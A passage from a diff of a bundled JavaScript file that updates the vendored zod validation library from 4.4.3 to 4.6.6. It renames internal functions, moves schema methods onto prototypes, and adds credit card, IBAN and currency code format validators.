ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; var readonlyProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; json3.readOnly = true; }; var promiseProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var optionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var lazyProcessor = (schema, ctx, _json, params) => { const innerType = schema._zod.innerType; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; @@ -67020,14 +71592,14 @@ var allProcessors = { optional: optionalProcessor, lazy: lazyProcessor }; -function toJSONSchema(input, params) { - if ("_idmap" in input) { - const registry2 = input; +function toJSONSchema(input2, params) { + if ("_idmap" in input2) { + const registry2 = input2; const ctx2 = initializeContext({ ...params, processors: allProcessors }); const defs = {}; for (const entry of registry2._idmap.entries()) { const [_, schema] = entry; - process2(schema, ctx2); + processSchema(schema, ctx2); } const schemas = {}; const external = { @@ -67039,7 +71611,7 @@ function toJSONSchema(input, params) { for (const entry of registry2._idmap.entries()) { const [key, schema] = entry; extractDefs(ctx2, schema); - schemas[key] = finalize(ctx2, schema); + assignProp(schemas, key, finalize(ctx2, schema)); } if (Object.keys(defs).length > 0) { const defsSegment = ctx2.target === "draft-2020-12" ? "$defs" : "definitions"; @@ -67050,12 +71622,12 @@ function toJSONSchema(input, params) { return { schemas }; } const ctx = initializeContext({ ...params, processors: allProcessors }); - process2(input, ctx); - extractDefs(ctx, input); - return finalize(ctx, input); + processSchema(input2, ctx); + extractDefs(ctx, input2); + return finalize(ctx, input2); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-generator.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-generator.js var JSONSchemaGenerator = class { /** @deprecated Access via ctx instead */ get metadataRegistry() { @@ -67065,6 +71637,7 @@ var JSONSchemaGenerator = class { get target() { return this.ctx.target; } + // annotated so the .d.cts emits an indexed access rather than an inline `import()` of an ESM path /** @deprecated Access via ctx instead */ get unrepresentable() { return this.ctx.unrepresentable; @@ -67108,7 +71681,7 @@ var JSONSchemaGenerator = class { * This must be called before emit(). */ process(schema, _params = { path: [], schemaPath: [] }) { - return process2(schema, this.ctx, _params); + return processSchema(schema, this.ctx, _params); } /** * Emit the final JSON Schema after processing. @@ -67123,6 +71696,8 @@ var JSONSchemaGenerator = class { if (_params.external) this.ctx.external = _params.external; } + this.ctx.sharedDefsExtractedFor = void 0; + this.ctx.sharedEmitDoneFor = void 0; extractDefs(this.ctx, schema); const result = finalize(this.ctx, schema); const { "~standard": _, ...plainResult } = result; @@ -67130,10 +71705,10 @@ var JSONSchemaGenerator = class { } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema.js var json_schema_exports = {}; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js var schemas_exports2 = {}; __export(schemas_exports2, { ZodAny: () => ZodAny, @@ -67149,6 +71724,7 @@ __export(schemas_exports2, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -67162,8 +71738,14 @@ __export(schemas_exports2, { ZodFile: () => ZodFile, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodJWT: () => ZodJWT, ZodKSUID: () => ZodKSUID, @@ -67219,10 +71801,12 @@ __export(schemas_exports2, { cidrv4: () => cidrv42, cidrv6: () => cidrv62, codec: () => codec, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -67239,6 +71823,7 @@ __export(schemas_exports2, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -67304,7 +71889,7 @@ __export(schemas_exports2, { xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/checks.js var checks_exports2 = {}; __export(checks_exports2, { endsWith: () => _endsWith, @@ -67327,6 +71912,7 @@ __export(checks_exports2, { normalize: () => _normalize, overwrite: () => _overwrite, positive: () => _positive, + properties: () => _properties, property: () => _property, regex: () => _regex, size: () => _size, @@ -67338,88 +71924,53 @@ __export(checks_exports2, { uppercase: () => _uppercase }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js -var iso_exports = {}; -__export(iso_exports, { - ZodISODate: () => ZodISODate, - ZodISODateTime: () => ZodISODateTime, - ZodISODuration: () => ZodISODuration, - ZodISOTime: () => ZodISOTime, - date: () => date2, - datetime: () => datetime2, - duration: () => duration2, - time: () => time2 -}); -var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { - $ZodISODateTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function datetime2(params) { - return _isoDateTime(ZodISODateTime, params); -} -var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { - $ZodISODate.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function date2(params) { - return _isoDate(ZodISODate, params); -} -var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { - $ZodISOTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function time2(params) { - return _isoTime(ZodISOTime, params); -} -var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { - $ZodISODuration.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function duration2(params) { - return _isoDuration(ZodISODuration, params); +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/errors.js +var _installedErrorProtos = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +function _lazyMethod(proto, key, make) { + Object.defineProperty(proto, key, { + configurable: true, + enumerable: false, + get() { + const value = make(this); + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + } + }); } - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js var initializer2 = (inst, issues) => { $ZodError.init(inst, issues); inst.name = "ZodError"; - Object.defineProperties(inst, { - format: { - value: (mapper) => formatError(inst, mapper) - // enumerable: false, - }, - flatten: { - value: (mapper) => flattenError(inst, mapper) - // enumerable: false, - }, - addIssue: { - value: (issue2) => { - inst.issues.push(issue2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - addIssues: { - value: (issues2) => { - inst.issues.push(...issues2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - isEmpty: { - get() { - return inst.issues.length === 0; - } - // enumerable: false, + const proto = Object.getPrototypeOf(inst); + if (_installedErrorProtos.has(proto)) + return; + _installedErrorProtos.add(proto); + _lazyMethod(proto, "format", (self2) => (mapper) => formatError(self2, mapper)); + _lazyMethod(proto, "flatten", (self2) => (mapper) => flattenError(self2, mapper)); + _lazyMethod(proto, "addIssue", (self2) => (issue2) => { + self2.issues.push(issue2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + _lazyMethod(proto, "addIssues", (self2) => (issues2) => { + self2.issues.push(...issues2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + Object.defineProperty(proto, "isEmpty", { + configurable: true, + enumerable: false, + get() { + return this.issues.length === 0; } }); }; var ZodError = /* @__PURE__ */ $constructor("ZodError", initializer2); -var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, { +var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, void 0, { Parent: Error }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/parse.js var parse2 = /* @__PURE__ */ _parse(ZodRealError); var parseAsync2 = /* @__PURE__ */ _parseAsync(ZodRealError); var safeParse2 = /* @__PURE__ */ _safeParse(ZodRealError); @@ -67433,182 +71984,202 @@ var safeDecode2 = /* @__PURE__ */ _safeDecode(ZodRealError); var safeEncodeAsync2 = /* @__PURE__ */ _safeEncodeAsync(ZodRealError); var safeDecodeAsync2 = /* @__PURE__ */ _safeDecodeAsync(ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js -var _installedGroups = /* @__PURE__ */ new WeakMap(); -function _installLazyMethods(inst, group, methods) { - const proto = Object.getPrototypeOf(inst); - let installed = _installedGroups.get(proto); - if (!installed) { - installed = /* @__PURE__ */ new Set(); - _installedGroups.set(proto, installed); - } - if (installed.has(group)) - return; - installed.add(group); - for (const key in methods) { - const fn = methods[key]; - Object.defineProperty(proto, key, { - configurable: true, - enumerable: false, - get() { - const bound = fn.bind(this); - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: bound - }); - return bound; - }, - set(v) { - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: v - }); - } - }); - } +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js +function _ensureDefaultLocale() { + if (!globalConfig.localeError) + config(en_default()); +} +function _ensureDefaultMemoizer() { + if (!globalConfig.memoizer) + config({ memoizer: memoizer() }); } var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { + _ensureDefaultLocale(); $ZodType.init(inst, def); - Object.assign(inst["~standard"], { - jsonSchema: { - input: createStandardJSONSchemaMethod(inst, "input"), - output: createStandardJSONSchemaMethod(inst, "output") - } - }); - inst.toJSONSchema = createToJSONSchemaMethod(inst, {}); inst.def = def; inst.type = def.type; - Object.defineProperty(inst, "_def", { value: def }); - inst.parse = (data, params) => parse2(inst, data, params, { callee: inst.parse }); - inst.safeParse = (data, params) => safeParse2(inst, data, params); - inst.parseAsync = async (data, params) => parseAsync2(inst, data, params, { callee: inst.parseAsync }); - inst.safeParseAsync = async (data, params) => safeParseAsync2(inst, data, params); - inst.spa = inst.safeParseAsync; - inst.encode = (data, params) => encode3(inst, data, params); - inst.decode = (data, params) => decode3(inst, data, params); - inst.encodeAsync = async (data, params) => encodeAsync2(inst, data, params); - inst.decodeAsync = async (data, params) => decodeAsync2(inst, data, params); - inst.safeEncode = (data, params) => safeEncode2(inst, data, params); - inst.safeDecode = (data, params) => safeDecode2(inst, data, params); - inst.safeEncodeAsync = async (data, params) => safeEncodeAsync2(inst, data, params); - inst.safeDecodeAsync = async (data, params) => safeDecodeAsync2(inst, data, params); - _installLazyMethods(inst, "ZodType", { - check(...chks) { - const def2 = this.def; - return this.clone(util_exports.mergeDefs(def2, { - checks: [ - ...def2.checks ?? [], - ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) - ] - }), { parent: true }); - }, - with(...chks) { - return this.check(...chks); - }, - clone(def2, params) { - return clone(this, def2, params); - }, - brand() { - return this; - }, - register(reg, meta3) { - reg.add(this, meta3); - return this; - }, - refine(check3, params) { - return this.check(refine(check3, params)); - }, - superRefine(refinement, params) { - return this.check(superRefine(refinement, params)); - }, - overwrite(fn) { - return this.check(_overwrite(fn)); - }, - optional() { - return optional(this); - }, - exactOptional() { - return exactOptional(this); - }, - nullable() { - return nullable(this); - }, - nullish() { - return optional(nullable(this)); - }, - nonoptional(params) { - return nonoptional(this, params); - }, - array() { - return array(this); - }, - or(arg) { - return union([this, arg]); - }, - and(arg) { - return intersection(this, arg); - }, - transform(tx) { - return pipe(this, transform(tx)); - }, - default(d) { - return _default2(this, d); - }, - prefault(d) { - return prefault(this, d); - }, - catch(params) { - return _catch2(this, params); - }, - pipe(target) { - return pipe(this, target); - }, - readonly() { - return readonly(this); - }, - describe(description) { - const cl = this.clone(); - globalRegistry.add(cl, { description }); - return cl; - }, - meta(...args) { - if (args.length === 0) - return globalRegistry.get(this); - const cl = this.clone(); - globalRegistry.add(cl, args[0]); - return cl; - }, - isOptional() { - return this.safeParse(void 0).success; - }, - isNullable() { - return this.safeParse(null).success; - }, - apply(fn) { - return fn(this); - } - }); - Object.defineProperty(inst, "description", { - get() { - return globalRegistry.get(inst)?.description; - }, - configurable: true - }); return inst; +}, { + check(...chks) { + const def = this.def; + return this.clone(util_exports.mergeDefs(def, { + checks: [ + ...def.checks ?? [], + ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) + ] + }), { parent: true }); + }, + with(...chks) { + return this.check(...chks); + }, + clone(def, params) { + return clone(this, def, params); + }, + brand() { + return this; + }, + register(reg, meta3) { + reg.add(this, meta3); + return this; + }, + refine(check3, params) { + return this.check(refine(check3, params)); + }, + superRefine(refinement, params) { + return this.check(superRefine(refinement, params)); + }, + overwrite(fn) { + return this.check(_overwrite(fn)); + }, + optional() { + return optional(this); + }, + exactOptional() { + return exactOptional(this); + }, + nullable() { + return nullable(this); + }, + nullish() { + return optional(nullable(this)); + }, + nonoptional(params) { + return nonoptional(this, params); + }, + array() { + return array(this); + }, + or(arg) { + return union([this, arg]); + }, + and(arg) { + return intersection(this, arg); + }, + transform(tx) { + return pipe(this, transform(tx)); + }, + default(d) { + return _default2(this, d); + }, + prefault(d) { + return prefault(this, d); + }, + catch(params) { + return _catch2(this, params); + }, + pipe(target) { + return pipe(this, target); + }, + readonly() { + return readonly(this); + }, + describe(description) { + const cl = this.clone(); + globalRegistry.add(cl, { description }); + return cl; + }, + meta(...args) { + if (args.length === 0) + return globalRegistry.get(this); + const cl = this.clone(); + globalRegistry.add(cl, args[0]); + return cl; + }, + isOptional() { + return this.safeParse(void 0).success; + }, + isNullable() { + return this.safeParse(null).success; + }, + apply(fn, ...args) { + return args.length === 0 ? fn(this) : fn(this, ...args); + }, + // Overrides core's `~standard` to add `jsonSchema`. Must stay a prototype entry: redefining it per instance demotes instances to dictionary mode. + get "~standard"() { + return util_exports.hide(this, "~standard", { + ...standardProps(this), + jsonSchema: { + input: createStandardJSONSchemaMethod(this, "input"), + output: createStandardJSONSchemaMethod(this, "output") + } + }); + }, + set "~standard"(value) { + util_exports.own(this, "~standard", value); + }, + parse: function _parse2(data, params) { + return parse2(this, data, params, { callee: _parse2 }); + }, + parseAsync: async function _parseAsync2(data, params) { + return await parseAsync2(this, data, params, { callee: _parseAsync2 }); + }, + safeParse(data, params) { + return safeParse2(this, data, params); + }, + async safeParseAsync(data, params) { + return safeParseAsync2(this, data, params); + }, + // `spa` is an alias: same function object as `safeParseAsync`, as before. + get spa() { + return this?.safeParseAsync; + }, + set spa(value) { + util_exports.own(this, "spa", value); + }, + validate(data, params) { + return validate(this, data, params); + }, + validateAsync(data, params) { + return validateAsync(this, data, params); + }, + encode: function _encode2(data, params) { + return encode3(this, data, params, { callee: _encode2 }); + }, + decode: function _decode2(data, params) { + return decode3(this, data, params, { callee: _decode2 }); + }, + encodeAsync: async function _encodeAsync2(data, params) { + return await encodeAsync2(this, data, params, { callee: _encodeAsync2 }); + }, + decodeAsync: async function _decodeAsync2(data, params) { + return await decodeAsync2(this, data, params, { callee: _decodeAsync2 }); + }, + safeEncode(data, params) { + return safeEncode2(this, data, params); + }, + safeDecode(data, params) { + return safeDecode2(this, data, params); + }, + async safeEncodeAsync(data, params) { + return safeEncodeAsync2(this, data, params); + }, + async safeDecodeAsync(data, params) { + return safeDecodeAsync2(this, data, params); + }, + toJSONSchema(params) { + return createToJSONSchemaMethod(this, {})(params); + }, + // Reads through to the registry on every access, so it must not cache. + get description() { + return globalRegistry.get(this)?.description; + }, + // No setter: `schema._def = x` throws, as it did when `_def` was a non-writable own property. + get _def() { + return this._zod.def; + } }); -var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { - $ZodString.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); - const bag = inst._zod.bag; - inst.format = bag.format ?? null; - inst.minLength = bag.minimum ?? null; - inst.maxLength = bag.maximum ?? null; - _installLazyMethods(inst, "_ZodString", { +var _ZodString = /* @__PURE__ */ $constructor( + "_ZodString", + (inst, def) => { + $ZodString.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + format: (inst) => aggregateChecks(inst).format ?? null, + minLength: (inst) => aggregateChecks(inst).minimum ?? null, + maxLength: (inst) => aggregateChecks(inst).maximum ?? null + }, { regex(...args) { return this.check(_regex(...args)); }, @@ -67654,38 +72225,90 @@ var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { slugify() { return this.check(_slugify()); } - }); -}); + }) +); var ZodString = /* @__PURE__ */ $constructor("ZodString", (inst, def) => { $ZodString.init(inst, def); _ZodString.init(inst, def); - inst.email = (params) => inst.check(_email(ZodEmail, params)); - inst.url = (params) => inst.check(_url(ZodURL, params)); - inst.jwt = (params) => inst.check(_jwt(ZodJWT, params)); - inst.emoji = (params) => inst.check(_emoji2(ZodEmoji, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.uuid = (params) => inst.check(_uuid(ZodUUID, params)); - inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params)); - inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params)); - inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params)); - inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.cuid = (params) => inst.check(_cuid(ZodCUID, params)); - inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params)); - inst.ulid = (params) => inst.check(_ulid(ZodULID, params)); - inst.base64 = (params) => inst.check(_base64(ZodBase64, params)); - inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params)); - inst.xid = (params) => inst.check(_xid(ZodXID, params)); - inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params)); - inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params)); - inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params)); - inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params)); - inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params)); - inst.e164 = (params) => inst.check(_e164(ZodE164, params)); - inst.datetime = (params) => inst.check(datetime2(params)); - inst.date = (params) => inst.check(date2(params)); - inst.time = (params) => inst.check(time2(params)); - inst.duration = (params) => inst.check(duration2(params)); +}, { + email(params) { + return this.check(_email(ZodEmail, params)); + }, + url(params) { + return this.check(_url(ZodURL, params)); + }, + jwt(params) { + return this.check(_jwt(ZodJWT, params)); + }, + emoji(params) { + return this.check(_emoji2(ZodEmoji, params)); + }, + guid(params) { + return this.check(_guid(ZodGUID, params)); + }, + uuid(params) { + return this.check(_uuid(ZodUUID, params)); + }, + uuidv4(params) { + return this.check(_uuidv4(ZodUUID, params)); + }, + uuidv6(params) { + return this.check(_uuidv6(ZodUUID, params)); + }, + uuidv7(params) { + return this.check(_uuidv7(ZodUUID, params)); + }, + nanoid(params) { + return this.check(_nanoid(ZodNanoID, params)); + }, + cuid(params) { + return this.check(_cuid(ZodCUID, params)); + }, + cuid2(params) { + return this.check(_cuid2(ZodCUID2, params)); + }, + ulid(params) { + return this.check(_ulid(ZodULID, params)); + }, + base64(params) { + return this.check(_base64(ZodBase64, params)); + }, + base64url(params) { + return this.check(_base64url(ZodBase64URL, params)); + }, + xid(params) { + return this.check(_xid(ZodXID, params)); + }, + ksuid(params) { + return this.check(_ksuid(ZodKSUID, params)); + }, + ipv4(params) { + return this.check(_ipv4(ZodIPv4, params)); + }, + ipv6(params) { + return this.check(_ipv6(ZodIPv6, params)); + }, + cidrv4(params) { + return this.check(_cidrv4(ZodCIDRv4, params)); + }, + cidrv6(params) { + return this.check(_cidrv6(ZodCIDRv6, params)); + }, + e164(params) { + return this.check(_e164(ZodE164, params)); + }, + datetime(params) { + return this.check(_isoDateTime(ZodISODateTime, params)); + }, + date(params) { + return this.check(_isoDate(ZodISODate, params)); + }, + time(params) { + return this.check(_isoTime(ZodISOTime, params)); + }, + duration(params) { + return this.check(_isoDuration(ZodISODuration, params)); + } }); function string2(params) { return _string(ZodString, params); @@ -67694,6 +72317,22 @@ var ZodStringFormat = /* @__PURE__ */ $constructor("ZodStringFormat", (inst, def $ZodStringFormat.init(inst, def); _ZodString.init(inst, def); }); +var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { + $ZodISODateTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { + $ZodISODate.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { + $ZodISOTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { + $ZodISODuration.init(inst, def); + ZodStringFormat.init(inst, def); +}); var ZodEmail = /* @__PURE__ */ $constructor("ZodEmail", (inst, def) => { $ZodEmail.init(inst, def); ZodStringFormat.init(inst, def); @@ -67733,8 +72372,8 @@ function url(params) { } function httpUrl(params) { return _url(ZodURL, { - protocol: regexes_exports.httpProtocol, - hostname: regexes_exports.domain, + protocol: httpProtocol, + hostname: domain, ...util_exports.normalizeParams(params) }); } @@ -67843,6 +72482,20 @@ var ZodE164 = /* @__PURE__ */ $constructor("ZodE164", (inst, def) => { function e1642(params) { return _e164(ZodE164, params); } +var ZodCreditCard = /* @__PURE__ */ $constructor("ZodCreditCard", (inst, def) => { + $ZodCreditCard.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function creditCard2(params) { + return _creditCard(ZodCreditCard, params); +} +var ZodIBAN = /* @__PURE__ */ $constructor("ZodIBAN", (inst, def) => { + $ZodIBAN.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function iban2(params) { + return _iban(ZodIBAN, params); +} var ZodJWT = /* @__PURE__ */ $constructor("ZodJWT", (inst, def) => { $ZodJWT.init(inst, def); ZodStringFormat.init(inst, def); @@ -67858,10 +72511,13 @@ function stringFormat(format, fnOrRegex, _params = {}) { return _stringFormat(ZodCustomStringFormat, format, fnOrRegex, _params); } function hostname2(_params) { - return _stringFormat(ZodCustomStringFormat, "hostname", regexes_exports.hostname, _params); + return _stringFormat(ZodCustomStringFormat, "hostname", hostname, _params); } function hex2(_params) { - return _stringFormat(ZodCustomStringFormat, "hex", regexes_exports.hex, _params); + return _stringFormat(ZodCustomStringFormat, "hex", hex, _params); +} +function currencyCode2(_params) { + return _stringFormat(ZodCustomStringFormat, "currency_code", currencyCode, _params); } function hash(alg, params) { const enc = params?.enc ?? "hex"; @@ -67871,11 +72527,29 @@ function hash(alg, params) { throw new Error(`Unrecognized hash format: ${format}`); return _stringFormat(ZodCustomStringFormat, format, regex, params); } -var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { - $ZodNumber.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); - _installLazyMethods(inst, "ZodNumber", { +var ZodNumber = /* @__PURE__ */ $constructor( + "ZodNumber", + (inst, def) => { + $ZodNumber.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); + inst.isFinite = true; + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => { + const { minimum, exclusiveMinimum } = aggregateChecks(inst); + return Math.max(minimum ?? Number.NEGATIVE_INFINITY, exclusiveMinimum ?? Number.NEGATIVE_INFINITY); + }, + maxValue: (inst) => { + const { maximum, exclusiveMaximum } = aggregateChecks(inst); + return Math.min(maximum ?? Number.POSITIVE_INFINITY, exclusiveMaximum ?? Number.POSITIVE_INFINITY); + }, + isInt: (inst) => { + const { isInt, multipleOf } = aggregateChecks(inst); + return !!isInt || !!multipleOf?.some(Number.isSafeInteger); + }, + format: (inst) => aggregateChecks(inst).format ?? null + }, { gt(value, params) { return this.check(_gt(value, params)); }, @@ -67921,14 +72595,8 @@ var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { finite() { return this; } - }); - const bag = inst._zod.bag; - inst.minValue = Math.max(bag.minimum ?? Number.NEGATIVE_INFINITY, bag.exclusiveMinimum ?? Number.NEGATIVE_INFINITY) ?? null; - inst.maxValue = Math.min(bag.maximum ?? Number.POSITIVE_INFINITY, bag.exclusiveMaximum ?? Number.POSITIVE_INFINITY) ?? null; - inst.isInt = (bag.format ?? "").includes("int") || Number.isSafeInteger(bag.multipleOf ?? 0.5); - inst.isFinite = true; - inst.format = bag.format ?? null; -}); + }) +); function number2(params) { return _number(ZodNumber, params); } @@ -67959,28 +72627,53 @@ var ZodBoolean = /* @__PURE__ */ $constructor("ZodBoolean", (inst, def) => { function boolean2(params) { return _boolean(ZodBoolean, params); } -var ZodBigInt = /* @__PURE__ */ $constructor("ZodBigInt", (inst, def) => { - $ZodBigInt.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.gt = (value, params) => inst.check(_gt(value, params)); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.lt = (value, params) => inst.check(_lt(value, params)); - inst.lte = (value, params) => inst.check(_lte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - inst.positive = (params) => inst.check(_gt(BigInt(0), params)); - inst.negative = (params) => inst.check(_lt(BigInt(0), params)); - inst.nonpositive = (params) => inst.check(_lte(BigInt(0), params)); - inst.nonnegative = (params) => inst.check(_gte(BigInt(0), params)); - inst.multipleOf = (value, params) => inst.check(_multipleOf(value, params)); - const bag = inst._zod.bag; - inst.minValue = bag.minimum ?? null; - inst.maxValue = bag.maximum ?? null; - inst.format = bag.format ?? null; -}); +var ZodBigInt = /* @__PURE__ */ $constructor( + "ZodBigInt", + (inst, def) => { + $ZodBigInt.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => aggregateChecks(inst).minimum ?? null, + maxValue: (inst) => aggregateChecks(inst).maximum ?? null, + format: (inst) => aggregateChecks(inst).format ?? null + }, { + gte(value, params) { + return this.check(_gte(value, params)); + }, + min(value, params) { + return this.check(_gte(value, params)); + }, + gt(value, params) { + return this.check(_gt(value, params)); + }, + lt(value, params) { + return this.check(_lt(value, params)); + }, + lte(value, params) { + return this.check(_lte(value, params)); + }, + max(value, params) { + return this.check(_lte(value, params)); + }, + positive(params) { + return this.check(_gt(BigInt(0), params)); + }, + negative(params) { + return this.check(_lt(BigInt(0), params)); + }, + nonpositive(params) { + return this.check(_lte(BigInt(0), params)); + }, + nonnegative(params) { + return this.check(_gte(BigInt(0), params)); + }, + multipleOf(value, params) { + return this.check(_multipleOf(value, params)); + } + }) +); function bigint2(params) { return _bigint(ZodBigInt, params); } @@ -68050,41 +72743,51 @@ var ZodVoid = /* @__PURE__ */ $constructor("ZodVoid", (inst, def) => { function _void2(params) { return _void(ZodVoid, params); } -var ZodDate = /* @__PURE__ */ $constructor("ZodDate", (inst, def) => { - $ZodDate.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - const c = inst._zod.bag; - inst.minDate = c.minimum ? new Date(c.minimum) : null; - inst.maxDate = c.maximum ? new Date(c.maximum) : null; -}); -function date3(params) { +var ZodDate = /* @__PURE__ */ $constructor( + "ZodDate", + (inst, def) => { + $ZodDate.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); + inst.min = (value, params) => inst.check(_gte(value, params)); + inst.max = (value, params) => inst.check(_lte(value, params)); + }, + /* @__PURE__ */ util_exports.derived({ + minDate: (inst) => { + const { minimum } = aggregateChecks(inst); + return minimum ? new Date(minimum) : null; + }, + maxDate: (inst) => { + const { maximum } = aggregateChecks(inst); + return maximum ? new Date(maximum) : null; + } + }, {}) +); +function date2(params) { return _date(ZodDate, params); 